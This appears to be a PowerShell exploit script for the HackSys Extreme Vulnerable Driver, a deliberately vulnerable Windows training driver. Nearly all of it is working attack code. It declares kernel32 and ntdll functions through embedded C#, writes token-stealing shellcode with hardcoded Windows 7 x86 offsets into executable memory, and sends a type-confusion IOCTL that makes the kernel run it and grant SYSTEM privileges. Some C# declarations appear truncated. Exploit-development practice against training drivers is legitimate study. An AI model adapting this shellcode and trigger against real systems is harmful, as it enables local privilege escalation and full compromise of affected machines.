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Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
public static extern uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
uint ZeroBits,
ref UInt32 AllocationSize,
UInt32 AllocationType,
UInt32 Protect);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
public static extern uint GetLastError();
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
0x60, # pushad
0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET]
0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure)
0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
#---[Copy System PID token]
0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID)
0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET |
0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx |
0x75, 0xED, # jnz ->|
0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
0x61, # popad
0xC3 # ret
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
# Low difficulty rating..
# KernelTypeConfusionObject->ObjectID: 0x00000001
# KernelTypeConfusionObject->ObjectType: IntPtr Shellcode
$Buffer = [System.BitConverter]::GetBytes(0x00000001) + $ShellcodePointer
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] ObjectID: 0x00000001"
echo "[+] ObjectType: 0x$("{0:X8}" -f $Pointer.ToInt32())"
echo "[+] IOCTL: 222023`n"
[EVD]::DeviceIoControl($hDevice, 0x222023, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null